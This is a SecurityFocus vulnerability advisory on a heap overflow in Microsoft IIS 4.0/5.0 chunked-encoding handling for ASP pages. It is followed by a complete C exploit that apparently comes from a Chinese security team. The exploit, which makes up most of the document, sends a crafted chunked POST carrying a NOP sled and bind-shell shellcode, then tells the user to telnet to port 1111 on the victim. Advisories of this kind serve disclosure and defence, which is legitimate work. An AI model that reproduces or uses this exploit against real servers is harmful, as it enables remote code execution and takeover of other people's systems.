source: http://www.securityfocus.com/bid/4485/info

A heap overflow condition in the 'chunked encoding transfer mechanism' related to Active Server Pages has been reported for Microsoft IIS (Internet Information Services).

This condition affects IIS 4.0 and IIS 5.0. Exploitation of this vulnerability may result in a denial of service or allow for a remote attacker to execute arbitrary instructions on the victim host.

Microsoft IIS 5.0 is reported to ship with a default script (iisstart.asp) which may be sufficient for a remote attacker to exploit. Other sample scripts may also be exploitable.

A number of Cisco products are affected by this vulnerability, although this issue is not present in the Cisco products themselves. 

/*
Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD
http://www.chinansl.com
keji@chinansl.com
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
        if(argc != 4)
        {
                printf("%s ip port aspfilepath\n\n",argv
[0]);
                printf("        ie. %s 127.0.0.1
80 /iisstart.asp\n",argv[0]);
                puts("  programed by keji@chinansl.com");

                return 0;
        }

        DWORD srcdata=0x01e2fb1c-4;//0x00457474;
                //address of SHELLCODE
        DWORD
jmpaddr=0x00457494;//0x77ebf094;//0x01e6fcec;//"\x1c\xfb\xe6
\x01";///"\x0c\xfb\xe6\x01";

        char* destIP=argv[1];
        char* destFile=argv[3];
        int webport=atoi(argv[2]);
        char* pad="\xcc\xcc\xcc\xcc"  "ADPA"  "\x02\x02\x02
\x02"  "PADP";                          //16 bytes

        WSADATA ws;
        SOCKET  s;
        long result=0;
        if(WSAStartup(0x0101,&ws) != 0)
        {
                puts("WSAStartup() error");
                return -1;
        }

        struct  sockaddr_in addr;
        addr.sin_family=AF_INET;
        addr.sin_port=htons(webport);
        addr.sin_addr.s_addr=inet_addr(destIP);
        s=socket(AF_INET,SOCK_STREAM,0);
        if(s==-1)
        {
                puts("Socket create error");
                return -1;
        }

        if(connect(s,(struct sockaddr *)&addr,sizeof(addr))
== -1)
        {
                puts("Cannot connect to the specified
host");
                return -1;
        }

        char buff[4096];
char* shellcode=

"\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33
\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65
\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32
\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32
\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53
\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53
\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75
\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6
\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66
\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56
\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75
\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75
\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75
\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45
\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8
\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3
\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13
\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45
\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85
\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0
\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8
\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50
\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4
\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75
\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45
\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50
\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45
\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44
\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01
\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89
\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85
\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51
\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34
\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85
\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85
\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85
\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0
\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30
\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90
\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90
\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0
\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50
\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30
\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4
\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95
\x1c\xff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";


                char* s1="POST ";// HTTP/1.1\r\n";
                char* s2="Accept: */*\r\n";
                char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
                char* s5="Transfer-Encoding:
chunked\r\n\r\n";
                char* sc="0\r\n\r\n\r\n";

                char shellcodebuff[1024*8];
                memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
                memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
                shellcodebuff[sizeof(shellcodebuff)-1] = 0;


        char sendbuff[1024*16];
        memset(sendbuff,0,1024*16);

        sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %
s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%
s",s1,destFile,shellcodebuff,s2,destIP,s4,s5,pad/*,srcdata,j
mpaddr*/,sc);


        int sendlen=strlen(sendbuff);
    *(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
        *(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

        result=send(s,sendbuff,sendlen,0);
        if(result == -1 )
        {
                puts("Send shellcode error!");
                return -1;
        }

        memset(buff,0,4096);
        result=recv(s,buff,sizeof(buff),0);

        if(strstr(buff,"<html>") != NULL)
        {
                shutdown(s,0);
                closesocket(s);

                puts("Send shellcode error!Try again!");
                return -1;
        }


        shutdown(s,0);
        closesocket(s);
        printf("\nUse <telnet %s 1111> to connect to the
host\n",destIP);
        puts("If you cannot connect to the host,try run
this program again!");

  return 0;
}
